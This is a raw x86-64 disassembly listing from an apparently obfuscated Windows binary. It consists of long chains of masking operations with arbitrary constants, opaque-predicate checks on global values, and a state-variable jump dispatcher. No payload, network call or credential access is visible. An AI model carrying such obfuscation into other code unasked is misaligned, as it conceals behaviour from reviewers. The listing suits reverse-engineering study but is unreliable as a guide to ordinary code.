or esi, ecx
mov ecx, esi
xor ecx, 0x6928f5a
xor esi, 0xbfabaf15
and esi, ecx
or eax, 0x46c6dfb0
mov ecx, eax
not ecx
mov edi, esi
not edi
mov edx, edi
and edx, 0xa585e25f
and esi, 0x5a7a1da0
or esi, edx
or edi, eax
and eax, 0xa585e25f
and ecx, 0x18380000
or ecx, eax
xor ecx, esi
not edi
or edi, ecx
mov eax, edi
and eax, 0x46c6dfb0
not edi
and edi, 0xb939204f
or edi, eax
mov eax, edi
not eax
mov ecx, eax
and ecx, 0x877a9721
and edi, 0x788568de
or edi, ecx
xor edi, 0x788568de
or edi, eax
mov r15d, edi
not r15d
mov eax, r8d
and eax, 0xacaa8362
mov ecx, r11d
and ecx, 0x53557c9d
or ecx, eax
mov eax, ecx
xor eax, 0x42015091
xor ecx, 0x8040
and ecx, 0x1154ac4c
and eax, 0xeeab53b3
or eax, ecx
xor eax, 0xeeab53b3
and r8d, 0x7095fded
and r11d, 0x8f6a0212
or r11d, r8d
xor r11d, 0x8f6a0212
mov ecx, eax
and ecx, r11d
xor r11d, eax
or r11d, ecx
mov eax, r11d
not eax
and eax, 0x8b6f3741
and r11d, 0x7490c8be
or r11d, eax
mov r12d, r11d
xor r12d, 0x7490c8be
mov eax, edi
and eax, 0x2e296dfb
mov ecx, r15d
and ecx, 0xd1d69204
or ecx, eax
mov r9d, ecx
xor r9d, 0xc0d09200
xor ecx, 0x2c2824d0
and ecx, 0x3d2e24d4
and r9d, 0xc2d1db2b
or r9d, ecx
mov r14d, r11d
xor r14d, 0x88201341
mov r10d, r12d
or r10d, 0x73cdda8e
mov eax, r10d
not eax
xor r11d, 0xf8a2edcf
and r11d, r12d
mov ecx, r11d
not ecx
mov edx, r10d
and edx, 0x4478ab13
and eax, 0x88020460
or eax, edx
or r10d, ecx
and ecx, 0x4478ab13
and r11d, 0xbb8754ec
or r11d, ecx
xor r11d, eax
not r10d
or r10d, r11d
mov eax, r10d
not eax
and eax, 0x9db6add9
and r10d, 0x62495226
or r10d, eax
mov r11d, r10d
xor r11d, 0xee7b7757
mov r8d, r9d
xor r8d, 0xc2d1db2b
mov eax, r8d
and eax, 0xf51a6bc
mov r13d, r9d
xor r13d, 0xcd807d97
or r13d, eax
and edi, 0xd3e5d252
and r15d, 0x2c1a2dad
or r15d, edi
mov eax, r15d
xor eax, 0x200a0901
and eax, 0xf0ae5943
xor r15d, 0xdcb474ee
or r15d, eax
mov edi, r15d
not edi
xor r10d, 0x118488a8
mov eax, r10d
and eax, 0x2ce53240
mov ecx, r11d
and ecx, 0xd31acdbf
or ecx, eax
mov ebx, ecx
xor ebx, 0xd31acdbf
xor ecx, 0x24653240
and ecx, 0xf56d3f79
mov eax, ebx
and eax, 0xa92c086
or eax, ecx
xor eax, 0xfa3c99c5
and ebx, 0xf51a6bc
or ebx, eax
mov eax, ebx
not eax
and eax, 0x6041b13
and ebx, 0xf9fbe4ec
or ebx, eax
and r14d, 0xdcb013dd
and r12d, 0x234fec22
or r12d, r14d
mov eax, r12d
xor eax, 0x200e4802
and eax, 0xf0ae5943
xor r12d, 0xd3e1b561
or r12d, eax
mov eax, r12d
not eax
and eax, 0x300af5d5
and r12d, 0xcff50a2a
or r12d, eax
mov eax, r15d
and eax, 0x99a4c751
and edi, 0x665b38ae
or edi, eax
mov eax, r13d
xor eax, 0x656b8285
and eax, r13d
mov esi, r13d
or esi, 0x9a947d7a
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0x7e6e8712
and eax, 0x819178ed
or eax, edx
mov edx, esi
not edx
or ecx, esi
and esi, 0x7e6e8712
and edx, 0x1010085
or edx, esi
mov esi, edi
xor edi, 0x99a4c751
xor edx, eax
mov eax, edi
or eax, 0x656b8285
not ecx
or ecx, edx
mov edx, eax
not edx
or r15d, 0x9a947d7a
and eax, 0x444219a6
and edx, 0x9a946458
or edx, eax
mov eax, r15d
not eax
and r15d, 0x444219a6
and eax, 0x21298201
or eax, r15d
xor eax, edx
mov edx, ecx
not edx
and edx, eax
not eax
and eax, ecx
mov ecx, r13d
not ecx
or eax, edx
mov edx, ecx
and edx, 0x213b42dc
and r13d, 0xdec4bd23
or r13d, edx
mov r14d, ebx
xor r14d, 0xf9fbe4ec
xor esi, 0x46403822
or ecx, edi
and edi, 0x213b42dc
and esi, 0xdec4bd23
or esi, edi
mov edx, r12d
xor edx, 0xc4d40028
xor r12d, 0x300af5d5
xor esi, r13d
not ecx
or ecx, esi
mov esi, ecx
not esi
and esi, 0xe9db660a
and ecx, 0x162499f5
or ecx, esi
mov r15d, eax
not r15d
mov esi, r15d
and esi, 0xbf5e09b2
and eax, 0x40a1f64d
or eax, esi
mov esi, ecx
xor esi, 0x209045
xor ecx, 0xe9db660a
or r15d, ecx
and ecx, 0xbf5e09b2
and esi, 0x40a1f64d
or esi, ecx
xor esi, eax
not r15d
or r15d, esi
mov eax, ebx
xor eax, 0x1100
and eax, 0x69c93500
xor ebx, 0xba28ab11
and ebx, r14d
and r14d, 0x9636caff
or r14d, eax
mov ecx, r14d
xor ecx, 0x9636caff
mov eax, r12d
and eax, 0xb2b8e53
and edx, 0xf4d471ac
or edx, eax
mov edi, edx
xor edi, 0xf4d471ac
xor r14d, 0x2a1a7afd
and r14d, ecx
xor edx, 0x48f8c1ae
and edx, edi
or r12d, 0x43d34ffd
mov eax, r14d
and eax, ebx
xor ebx, r14d
or ebx, eax
mov esi, edx
not esi
mov eax, esi
and eax, 0x6360e21b
and edx, 0x9c9f1de4
or edx, eax
mov eax, r12d
not eax
or esi, r12d
and r12d, 0x6360e21b
and eax, 0x9c0c1000
or eax, r12d
xor eax, edx
not esi
or esi, eax
mov edx, ebx
not edx
and edx, esi
not esi
and esi, ebx
mov r14d, r9d
xor r14d, 0x3d2e24d4
or esi, edx
mov edx, ecx
and edx, edi
xor edi, ecx
or edi, edx
mov ecx, edi
not ecx
and ecx, 0xba456672
and edi, 0x45ba998d
or edi, ecx
mov ebx, esi
not ebx
mov ecx, ebx
and ecx, 0x874acde0
and esi, 0x78b5321f
or esi, ecx
mov ecx, edi
xor ecx, 0x40b0100d
xor edi, 0xba456672
or ebx, edi
and edi, 0x874acde0
and ecx, 0x78b5321f
or ecx, edi
xor ecx, esi
not ebx
or ebx, ecx
mov ecx, r15d
xor ecx, 0xf8a5f9cf
and ecx, r15d
not r15d
and r15d, 0xf8a5f9cf
mov edx, ebx
not edx
or ebx, 0x75a0630
mov esi, r15d
and esi, ecx
xor ecx, r15d
mov eax, ebx
not eax
or edx, 0xf8a5f9cf
or ecx, esi
mov r15d, edx
not r15d
and ebx, 0x74635b91
and eax, 0x8884a04e
or eax, ebx
and edx, 0x74635b91
and r15d, 0x3180420
or r15d, edx
xor r15d, eax
mov eax, ecx
not eax
and eax, r15d
not r15d
and r15d, ecx
or r15d, eax
and r8d, 0x98c2a389
xor r9d, 0x96c9baf3
and r9d, r14d
and r14d, 0x673d5c76
or r14d, r8d
mov r8d, r14d
xor r8d, 0x673d5c76
mov eax, r10d
and eax, 0x781ec3f1
and r11d, 0x87e13c0e
or r11d, eax
mov ebx, r11d
xor ebx, 0x87e13c0e
xor r14d, 0x33253dae
and r14d, r8d
xor r11d, 0x28068221
or r11d, 0x541861d8
mov edx, r11d
not edx
or r10d, 0xabe79e27
mov ecx, r10d
not ecx
mov esi, r14d
and esi, r9d
xor r9d, r14d
or r9d, esi
and r11d, 0x7a19e503
and edx, 0x81e61a24
or edx, r11d
and r10d, 0x7a19e503
and ecx, 0x40000d8
or ecx, r10d
xor ecx, edx
mov edx, r9d
not edx
and edx, 0x61a6aa56
and r9d, 0x9e5955a9
or r9d, edx
mov edx, ecx
not edx
and edx, 0x61a6aa56
and ecx, 0x9e5955a9
or ecx, edx
xor ecx, r9d
mov edx, r8d
and edx, ebx
xor ebx, r8d
or ebx, edx
mov edx, ebx
not edx
and edx, 0x288999b8
and ebx, 0xd7766647
or ebx, edx
mov eax, ebx
xor eax, 0x12124401
xor ebx, 0x288999b8
mov edx, ecx
not edx
mov esi, edx
and esi, 0xcde4b3d6
and ecx, 0x321b4c29
or ecx, esi
or edx, ebx
and ebx, 0xcde4b3d6
and eax, 0x321b4c29
or eax, ebx
xor eax, ecx
not edx
or edx, eax
mov eax, edx
mov ecx, edx
xor ecx, 0xd931dce2
and ecx, edx
not edx
and edx, 0x480144e0
and eax, 0x91309802
or eax, edx
xor eax, 0x91309802
mov edx, eax
and edx, ecx
xor ecx, eax
or ecx, edx
mov eax, ecx
not eax
and eax, 0x494a7942
and ecx, 0xb6b586bd
or ecx, eax
mov eax, ecx
xor eax, 0x6f845a5f
xor ecx, 0x51a120
mov edi, r15d
not edi
mov ebx, edi
and ebx, 0x491afea4
and r15d, 0xb6e5015b
or r15d, ebx
mov r8d, r15d
xor r8d, 0xb6e5015b
and ecx, 0x2b51b12d
mov ebx, eax
and ebx, 0xd4ae4ed2
or ebx, ecx
mov r9d, ebx
xor r9d, 0xd4ae4ed2
xor r15d, 0x5d1b608c
and r15d, r8d
or edi, 0x14019e28
mov edx, edi
not edx
xor ebx, 0x3f502f05
and ebx, r9d
and eax, 0xebfe61d7
mov esi, r15d
not esi
mov ecx, esi
and ecx, 0x25e22b9e
and r15d, 0xda1dd461
or r15d, ecx
or esi, edi
and edi, 0x25e22b9e
and edx, 0xca1c4041
or edx, edi
xor edx, r15d
not esi
or esi, edx
mov ecx, ebx
and ecx, eax
xor eax, ebx
or eax, ecx
mov ecx, esi
not ecx
and ecx, 0x93ae03fa
and esi, 0x6c51fc05
or esi, ecx
mov ecx, eax
not ecx
and ecx, 0x93ae03fa
and eax, 0x6c51fc05
or eax, ecx
xor eax, esi
mov ecx, r8d
and ecx, r9d
xor r9d, r8d
or r9d, ecx
mov ecx, r9d
not ecx
mov edi, eax
not edi
mov edx, edi
and edx, 0xf8ae17c5
and eax, 0x751e83a
or eax, edx
or edi, r9d
and r9d, 0xf8ae17c5
and ecx, 0x751e83a
or ecx, r9d
xor ecx, eax
not edi
or edi, ecx
mov r8d, edi
not r8d
mov edx, r8d
and edx, 0xbc440b46
mov ecx, edi
and ecx, 0x43bbf4b9
or ecx, edx
mov edx, ecx
xor edx, 0x43a0d001
xor ecx, 0xbc440b46
mov eax, r8d
and eax, edi
mov esi, eax
not esi
mov ebx, ecx
and ebx, 0xa81f2cfc
and edx, 0x57e0d303
or edx, ebx
or ecx, esi
and esi, 0xa81f2cfc
and eax, 0x57e0d303
or eax, esi
xor eax, edx
not ecx
or ecx, eax
mov eax, ecx
not eax
and eax, 0x97e47f6b
and ecx, 0x681b8094
or ecx, eax
mov edx, ecx
xor edx, 0x681b8094
xor ecx, 0x17e4540b
and ecx, 0x57e7d48f
mov eax, edx
and eax, 0xa8182b70
or eax, ecx
xor eax, 0x4aa2dd0
and edx, 0x534df95f
or edx, eax
mov eax, edx
not eax
mov ecx, r8d
and ecx, 0xacb206a0
and edi, 0x534df95f
or edi, ecx
xor r8d, edi
and r8d, edi
mov ecx, r8d
not ecx
and r8d, edx
or edx, ecx
mov ebx, edx
not ebx
and ecx, eax
or ecx, r8d
mov eax, ecx
not eax
mov edi, edx
and edi, 0xddf23a02
and ebx, 0x220dc5fd
or ebx, edi
or edx, eax
and eax, 0xddf23a02
and ecx, 0x220dc5fd
or ecx, eax
xor ecx, ebx
not edx
or edx, ecx
mov eax, edx
not eax
or edx, 0x238f5e49
mov ebx, edx
not ebx
or eax, 0xdc70a1b6
mov ecx, eax
not ecx
and edx, 0x69bf3d34
and ebx, 0x94408082
or ebx, edx
and eax, 0x69bf3d34
and ecx, 0x2004249
or ecx, eax
xor ecx, ebx
mov eax, ecx
not eax
and eax, 0x8f3d58e9
and ecx, 0x70c2a716
or ecx, eax
mov r9d, ecx
not r9d
mov edx, r9d
and edx, 0xd52fc54f
mov r14d, ecx
and r14d, 0x2ad03ab0
or r14d, edx
mov r8d, r14d
xor r8d, 0x2ad03ab0
xor r14d, 0xd52fc54f
mov edx, r14d
and edx, 0xc72465da
mov ebx, r8d
and ebx, 0x38db9a25
or ebx, edx
mov edx, ebx
xor edx, 0x30989024
and edx, 0x74bcb0bc
xor ebx, 0x4c672a99
or ebx, edx
mov edx, ebx
not edx
and edx, 0xbb464fcf
and ebx, 0x44b9b030
or ebx, edx
mov r11d, ebx
xor r11d, 0x44b9b030
mov edx, r9d
and edx, 0x8b434f43
and ecx, 0x74bcb0bc
or ecx, edx
xor r9d, ecx
and r9d, ecx
mov r10d, ebx
xor r10d, 0xbb464fcf
mov edi, r10d
and edi, 0xac2d87bf
xor ebx, 0xe894378f
and ebx, r11d
mov eax, r9d
or eax, 0x53d27840
mov ecx, eax
not ecx
mov edx, edi
and edx, ebx
xor ebx, edi
mov edi, r9d
xor edi, 0xac2d87bf
and edi, r9d
or ebx, edx
mov edx, eax
and edx, 0x339e20f6
and ecx, 0x8c218709
or ecx, edx
mov edx, edi
not edx
or eax, edx
and edx, 0x339e20f6
and edi, 0xcc61df09
or edi, edx
xor edi, ecx
not eax
or eax, edi
mov ecx, ebx
not ecx
and ecx, 0xb9f2b417
and ebx, 0x460d4be8
or ebx, ecx
mov ecx, eax
not ecx
and ecx, 0xb9f2b417
and eax, 0x460d4be8
or eax, ecx
mov ecx, r9d
not ecx
xor eax, ebx
mov edx, r11d
and edx, 0x6ed75e6a
and r10d, 0x9128a195
or r10d, edx
or r11d, r9d
and r9d, 0x6ed75e6a
and ecx, 0x9128a195
or ecx, r9d
xor ecx, r10d
not r11d
or r11d, ecx
mov ecx, r11d
not ecx
mov esi, eax
not esi
mov ebx, esi
and ebx, 0x83460c76
and eax, 0x7cb9f389
or eax, ebx
or esi, r11d
and r11d, 0x83460c76
and ecx, 0x7cb9f389
or ecx, r11d
xor ecx, eax
not esi
or esi, ecx
mov ecx, esi
not ecx
mov edx, esi
xor edx, 0xab9d9e8b
and edx, esi
or esi, 0x54626174
mov eax, edx
not eax
mov ebx, esi
and ebx, 0xd2916d0f
and ecx, 0x290c9280
or ecx, ebx
or esi, eax
and eax, 0xd2916d0f
and edx, 0x2d6e92f0
or edx, eax
xor edx, ecx
not esi
or esi, edx
mov eax, esi
not eax
and eax, 0x59807fb0
and esi, 0xa67f804f
or esi, eax
mov ecx, esi
xor ecx, 0x69088240
mov eax, r14d
and eax, 0x68e4a0fc
mov edx, r8d
and edx, 0x971b5f03
or edx, eax
mov eax, edx
xor eax, 0x96000002
xor edx, 0x68e4a0fc
mov ebx, r14d
and ebx, 0x495b5f95
and r8d, 0xb6a4a06a
or r8d, ebx
or r14d, edx
and edx, 0x495b5f95
and eax, 0xb6a4a06a
or eax, edx
xor eax, r8d
not r14d
or r14d, eax
mov eax, r14d
not eax
mov edx, eax
and edx, 0xa8bec597
and eax, r14d
and r14d, 0x57413a68
or r14d, edx
xor r14d, 0x57413a68
mov edx, r14d
and edx, eax
xor r14d, eax
or r14d, edx
mov eax, r14d
not eax
xor esi, 0x86a15187
mov edx, esi
or edx, eax
not edx
and esi, 0x92d73db8
and ecx, 0x6d28c247
or ecx, esi
and eax, 0x92d73db8
and r14d, 0x6d28c247
or r14d, eax
xor r14d, ecx
mov eax, edx
and eax, r14d
xor r14d, edx
or r14d, eax
mov ecx, r14d
not ecx
mov eax, ecx
and eax, 0x36961fca
mov edx, r14d
xor edx, 0x36961fca
and edx, r14d
mov ebx, eax
and ebx, edx
xor edx, eax
or edx, ebx
mov eax, edx
not eax
and eax, 0xc969e035
and edx, 0x36961fca
or edx, eax
mov eax, edx
not eax
and eax, 0x75ca8cdb
and edx, 0x8a357324
or edx, eax
mov ebx, edx
xor ebx, 0x75ca8cdb
and ebx, edx
and ecx, 0x8a357324
xor r14d, 0x75ca8cdb
or r14d, ecx
mov edi, r14d
not edi
mov ecx, ebx
mov edx, ebx
xor edx, 0x637e2ddd
and edx, ebx
not ebx
and ebx, 0xa9896430
and ecx, 0x56769bcf
or ecx, ebx
mov r8d, ecx
xor r8d, 0x56769bcf
mov eax, r14d
and eax, 0x8aeb26d7
xor r14d, 0x9c81d222
and r14d, edi
and edi, 0x7514d928
or edi, eax
mov eax, ecx
xor eax, 0xcaf749ed
and eax, r8d
mov ebx, eax
not ebx
mov esi, ebx
and esi, 0x5d813d73
and eax, 0xa27ec28c
or eax, esi
mov esi, edx
not esi
or ebx, esi
and esi, 0x5d813d73
and edx, 0xa27ec28c
or edx, esi
mov esi, edi
xor esi, 0x7514d928
xor edx, eax
mov eax, edi
xor eax, 0xe9950b0a
and eax, esi
not ebx
or ebx, edx
mov edx, eax
and edx, r14d
xor r14d, eax
or r14d, edx
mov eax, ebx
not eax
and eax, 0x54679c73
and ebx, 0xab98638c
or ebx, eax
mov eax, r14d
not eax
and eax, 0x54679c73
and r14d, 0xab98638c
or r14d, eax
mov r10d, dword [0x1400a6664]
xor r14d, ebx
xor ecx, 0xa9896430
xor edi, 0x8aeb26d7
mov eax, ecx
and eax, 0x1725c047
and r8d, 0xe8da3fb8
or r8d, eax
or ecx, edi
and edi, 0x1725c047
and esi, 0xe8da3fb8
or esi, edi
xor esi, r8d
not ecx
or ecx, esi
mov eax, ecx
not eax
and eax, 0x166174e5
and ecx, 0xe99e8b1a
or ecx, eax
mov eax, ecx
xor eax, 0x6996020a
xor ecx, 0x166174e5
mov edx, r14d
not edx
mov ebx, edx
and ebx, 0x96689d54
and r14d, 0x699762ab
or r14d, ebx
or edx, ecx
and ecx, 0x96689d54
and eax, 0x699762ab
or eax, ecx
xor eax, r14d
not edx
or edx, eax
mov ecx, edx
not ecx
mov ebx, ecx
or ebx, 0xd33078f0
mov eax, ebx
not eax
or edx, 0x4c90603
and edx, 0x95d966a3
and ecx, 0x42201850
or ecx, edx
and ebx, 0x95d966a3
and eax, 0x2806810c
or eax, ebx
xor eax, ecx
mov ecx, eax
not ecx
and ecx, 0xb6a3fe17
and eax, 0x495c01e8
or eax, ecx
mov ebx, eax
xor ebx, 0x10590a3c
xor eax, 0xefa6f5c3
mov edx, eax
and edx, 0xe3cc2670
mov ecx, ebx
and ecx, 0x1c33d98f
or ecx, edx
mov edx, ecx
xor edx, 0x20480460
xor ecx, 0x1c33d98f
mov edi, ecx
and edi, 0xcba4e294
and edx, 0x345b1d6b
or edx, edi
and ebx, 0xcba4e294
and eax, 0x345b1d6b
or eax, ebx
xor eax, edx
xor ecx, eax
test ecx, eax
sete bl
setne r9b
cmp r10d, 0xa
setl r11b
cmp r10d, 9
setg r10b
mov esi, r11d
or sil, bl
mov ecx, r9d
xor cl, bl
mov eax, ecx
xor al, 1
and cl, al
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
mov eax, ecx
xor al, 1
mov r14d, eax
and r14b, cl
mov edx, eax
and dl, r14b
xor r14b, al
or r14b, dl
mov r12d, r14d
xor r12b, 1
or al, cl
mov ecx, r12d
or cl, al
xor al, r12b
xor al, 1
mov edx, ecx
xor dl, al
or al, cl
xor al, 1
or al, dl
mov r15d, eax
xor r15b, 1
and r15b, al
mov edx, r15d
and dl, al
xor r15b, al
or r15b, dl
xor r15b, bl
and bl, r12b
mov byte [rbp + 0x30], bl
and r14b, r9b
mov edi, r9d
and dil, r12b
xor r12b, r9b
or r9b, r10b
mov eax, r9d
xor al, sil
or sil, r9b
xor sil, 1
or sil, al
xor sil, 1
mov eax, r11d
xor al, sil
and sil, al
xor sil, 1
mov edx, esi
xor dl, al
or sil, al
xor sil, 1
or sil, dl
mov eax, esi
xor al, 1
and sil, al
mov edx, eax
and dl, sil
xor sil, al
or sil, dl
mov edx, r11d
xor dl, r10b
mov ebx, edx
xor bl, 1
mov r9d, edx
or r9b, bl
mov ecx, r9d
xor cl, 1
mov r8d, ecx
and r8b, r9b
mov eax, ebx
and al, dl
mov r13d, r8d
xor r13b, 1
xor r8b, cl
or r13b, r9b
xor r13b, 1
or r13b, r8b
mov r8d, eax
and r8b, bl
xor al, bl
or al, r8b
mov r8d, r13d
xor r8b, 1
and r8b, al
xor al, 1
and al, r13b
or al, r8b
xor r9b, dl
or cl, bl
xor cl, 1
or cl, r9b
xor cl, 1
mov r8d, eax
and r8b, cl
xor cl, al
or cl, r8b
mov eax, ecx
xor al, 1
and cl, al
xor cl, 1
mov r8d, ecx
xor r8b, al
or cl, al
xor cl, 1
or cl, r8b
mov eax, ecx
and al, r11b
xor cl, 1
and cl, r10b
or cl, al
and r11b, bl
and dl, r10b
or dl, r11b
mov eax, r10d
and al, bl
xor bl, r10b
or bl, al
xor dl, 1
mov eax, edx
xor al, bl
or dl, bl
xor dl, 1
or dl, al
mov eax, edx
xor al, 1
and dl, al
mov ebx, eax
and bl, dl
xor dl, al
or dl, bl
mov eax, ecx
xor al, 1
mov r8d, ecx
and r8b, al
mov ebx, r8d
xor r8b, cl
xor bl, 1
or bl, al
xor bl, 1
or bl, r8b
xor bl, dl
xor dl, 1
mov ecx, eax
and cl, dl
xor al, dl
xor bl, 1
or al, cl
mov ecx, ebx
xor cl, al
or al, bl
xor al, 1
or al, cl
mov r10d, esi
xor r10b, 1
or r14b, byte [rbp + 0x30]
mov r8d, r15d
xor r8b, 1
or r12b, dil
xor r12b, 1
mov edx, r14d
and dl, r12b
xor r12b, r14b
or r12b, dl
mov ebx, r12d
xor bl, 1
mov edx, ebx
and dl, r12b
xor bl, dl
xor dl, 1
or dl, r12b
xor dl, 1
or dl, bl
mov ecx, r8d
and cl, r15b
mov ebx, r8d
and bl, cl
xor cl, r8b
or cl, bl
mov ebx, edx
xor bl, 1
xor cl, bl
xor bl, r8b
or dl, r15b
xor dl, 1
or dl, bl
xor dl, 1
mov ebx, ecx
and bl, dl
xor dl, cl
or dl, bl
mov ebx, eax
xor bl, 1
mov ecx, edx
xor cl, 1
mov r8d, ecx
xor r8b, al
or dl, bl
xor dl, 1
or dl, r8b
mov r8d, edx
xor r8b, 1
xor bl, cl
xor bl, 1
or cl, al
xor cl, 1
or cl, bl
mov eax, ecx
xor al, 1
and al, dl
or dl, cl
xor dl, 1
and cl, r8b
or cl, al
mov eax, edx
and al, cl
xor cl, dl
or cl, al
mov r9d, ecx
xor r9b, 1
mov r11d, ecx
and r11b, r9b
mov eax, ecx
xor al, r11b
xor r11b, 1
or r11b, r9b
xor r11b, 1
or r11b, al
mov eax, r11d
and al, sil
xor r11b, 1
and r11b, r10b
or r11b, al
mov eax, r11d
xor al, 1
xor r11b, r10b
xor r11b, 1
or r11b, al
mov r8d, r11d
xor r8b, 1
mov eax, r10d
and al, sil
mov edx, r10d
and dl, al
xor al, r10b
or al, dl
mov ebx, eax
xor bl, 1
and bl, al
mov eax, ebx
xor al, 1
and sil, al
and bl, r10b
or bl, sil
mov esi, eax
and sil, r10b
xor al, r10b
mov edx, r9d
or dl, cl
or al, sil
xor bl, 1
mov r10d, ebx
xor r10b, al
or bl, al
mov eax, edx
xor al, 1
xor bl, 1
or bl, r10b
and cl, dl
or dl, r9b
xor dl, 1
and al, r9b
or al, cl
mov ecx, edx
and cl, al
xor al, dl
or al, cl
mov ecx, ebx
xor cl, 1
mov edx, eax
xor dl, 1
and al, dl
xor al, 1
mov r9d, eax
xor r9b, dl
or al, dl
xor al, 1
or al, r9b
and cl, al
xor al, 1
and al, bl
or al, cl
mov r9d, r11d
or r9b, r8b
mov edx, r9d
xor dl, 1
mov ecx, r9d
and cl, dl
mov ebx, r11d
and bl, r8b
xor cl, 1
mov r10d, edx
xor r10b, cl
or cl, dl
xor cl, 1
or cl, r10b
mov r10d, r11d
and r10b, bl
xor bl, r11b
or bl, r10b
mov r10d, ecx
xor r10b, 1
and r10b, bl
xor bl, 1
and bl, cl
or bl, r10b
mov r10d, eax
xor r10b, 1
xor r9b, r11b
mov r11d, eax
or r11b, r10b
or dl, r8b
xor dl, 1
or dl, r9b
xor bl, 1
mov r9d, ebx
xor r9b, dl
or bl, dl
mov ecx, r11d
xor cl, 1
xor bl, 1
or bl, r9b
mov edx, eax
and dl, r11b
or r11b, r10b
and cl, r10b
or cl, dl
xor cl, 1
mov edx, r11d
xor dl, cl
or cl, r11b
xor cl, 1
or cl, dl
xor bl, 1
mov edx, ebx
xor dl, cl
xor dl, 1
and dl, cl
or bl, cl
mov ecx, ebx
xor cl, dl
xor dl, 1
xor cl, 1
or dl, bl
xor dl, 1
or dl, cl
mov ecx, r8d
or cl, al
xor al, r8b
xor al, 1
mov ebx, ecx
xor bl, al
or al, cl
xor al, 1
or al, bl
xor dl, 1
mov ecx, edx
or cl, al
xor dl, al
mov eax, ecx
xor al, dl
test al, 1
mov ebx, 0x81106e61
mov eax, 0x37a6d97
cmovne ebx, eax
test dl, 1
mov eax, ebx
mov edx, 0x81106e61
cmovne eax, edx
test cl, 1
jmp 0x140016163
cmp eax, 0x7714c46a
jle 0x14000787c
cmp eax, 0x7714c46b
je 0x140011bee
cmp eax, 0x7a7e7f38
je 0x140011c0c
cmp eax, 0x7e60e7f7
jne 0x140001970
cmp byte [rbp + 0xbf], 0
mov eax, 0xb56c0221
mov ecx, 0xac0daa92
jmp 0x14001a3c7
cmp eax, 0xb7f5d5ea
jle 0x1400090ad
cmp eax, 0xb7f5d5eb
je 0x1400146c2
cmp eax, 0xbcef9f07
je 0x140016176
cmp eax, 0xc4ea865c
jne 0x140001970
mov ecx, dword [0x1400a6668]
lea r9d, [rcx - 1]
imul r9d, ecx
mov r8d, r9d
not r8d
mov ecx, r8d
and ecx, 0x90842204
mov edx, r9d
and edx, 0x104418
or edx, ecx
mov ecx, edx
xor ecx, 0x4010
xor edx, 0xffefbbe7
mov eax, r9d
xor eax, 0x9094661c
and eax, r9d
mov ebx, eax
not ebx
mov edi, edx
and edi, 0x697aacad
and ecx, 0x90844210
or ecx, edi
or edx, ebx
and ebx, 0x697aacad
and eax, 0x96855352
or eax, ebx
xor eax, ecx
not edx
or edx, eax
mov eax, edx
not eax
and eax, 0x60010152
and edx, 0x32c1c00
or edx, eax
mov edi, edx
xor edi, 0x3281810
xor edx, 0x4c0061e2
mov eax, r8d
and eax, 0x632d1d52
mov ecx, r9d
and ecx, 0x9cd2e2ad
or ecx, eax
not ecx
or ecx, r8d
mov ebx, ecx
not ebx
mov eax, edi
xor eax, ecx
and eax, edi
and edx, 0x4e0869e2
and edi, 0x21251410
or edi, edx
and ecx, 0x4e0869e2
and ebx, 0xb1f7961d
or ebx, ecx
xor ebx, edi
mov ecx, eax
and ecx, ebx
xor ebx, eax
or ebx, ecx
mov eax, ebx
not eax
or ebx, 0x632d1d52
mov ecx, ebx
not ecx
or eax, 0x9cd2e2ad
mov edx, eax
not edx
and ebx, 0xfe6b9c2b
and ecx, 0x906284
or ecx, ebx
and eax, 0xfe6b9c2b
and edx, 0x1040150
or edx, eax
xor edx, ecx
mov eax, edx
not eax
mov ecx, edx
xor ecx, 0xb3b4c119
and ecx, edx
or edx, 0x4c4b3ee6
mov ebx, ecx
not ebx
mov edi, edx
and edi, 0xdbc0
and eax, 0xb3b40019
or eax, edi
or edx, ebx
and ebx, 0xdbc0
and ecx, 0xffff243f
or ecx, ebx
xor ecx, eax
not edx
or edx, ecx
mov eax, edx
not eax
and eax, 0x4f748085
and edx, 0xb08b7f7a
or edx, eax
mov esi, edx
xor esi, 0x33fbe63
xor edx, 0xc804014
mov eax, esi
and eax, 0x905ba66a
and edx, 0xdadf637
and esi, 0xf25209c8
or esi, edx
xor esi, 0x9df6505d
mov ecx, eax
and ecx, esi
xor esi, eax
or esi, ecx
mov eax, esi
not eax
and esi, eax
mov ecx, eax
and ecx, esi
xor esi, eax
or esi, ecx
mov eax, esi
not eax
mov ecx, eax
and ecx, 0xa4c435e9
and esi, 0x5b3bca16
or esi, ecx
xor esi, 0x5b3bca16
or esi, eax
mov r14d, esi
not r14d
mov eax, r8d
and eax, r9d
mov ecx, eax
not ecx
mov edx, r9d
and edx, 0x219c4f23
and r8d, 0xde63b0dc
or r8d, edx
or r9d, ecx
and ecx, 0x219c4f23
and eax, 0xde63b0dc
or eax, ecx
xor eax, r8d
not r9d
or r9d, eax
mov eax, r9d
not eax
mov ecx, r9d
and ecx, 0x6fa45995
and eax, 0x6fa45995
and r9d, 0x905ba66a
or r9d, eax
mov eax, ecx
and eax, r9d
xor r9d, ecx
or r9d, eax
mov eax, r9d
mov ecx, r9d
xor ecx, 0xf13b09d5
and ecx, r9d
not r9d
and r9d, 0x61230041
and eax, 0x90180994
or eax, r9d
xor eax, 0x90180994
mov edx, eax
and edx, ecx
xor ecx, eax
or ecx, edx
mov eax, ecx
not eax
and eax, 0xec4f62a
and ecx, 0xf13b09d5
or ecx, eax
mov edi, ecx
not edi
mov eax, edi
and eax, 0x1bbb75c3
and ecx, 0xe4448a3c
or ecx, eax
xor ecx, 0x1bbb75c3
xor edi, ecx
and edi, ecx
mov r9d, r14d
mov eax, esi
and eax, 0x8ce67161
and r14d, 0x73198e9e
or r14d, eax
not r14d
or r14d, esi
and esi, 0x8f4ef3cc
and r9d, 0x70b10c33
or r9d, esi
mov r10d, r9d
xor r10d, 0x70b10c33
xor r9d, 0x8f4ef3cc
mov r13d, edi
not r13d
mov r11d, r13d
and r11d, edi
mov ecx, r13d
and ecx, r11d
xor r11d, r13d
or r11d, ecx
mov ecx, r9d
and ecx, 0xadf432e6
mov edx, r10d
and edx, 0x520bcd19
or edx, ecx
mov ecx, edx
xor ecx, 0x52098c18
and ecx, 0x73198e9e
xor edx, 0x21124387
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0xf3c9c17a
and edx, 0xc363e85
or edx, ecx
mov esi, edx
xor esi, 0xc363e85
mov ebx, r14d
not ebx
mov r8d, r11d
not r8d
mov ecx, r8d
and ecx, 0x73198e9e
mov r15d, r11d
and r15d, 0x8ce67161
or r15d, ecx
and edi, 0x345edc2a
mov ecx, r13d
and ecx, 0xcba123d5
or ecx, edi
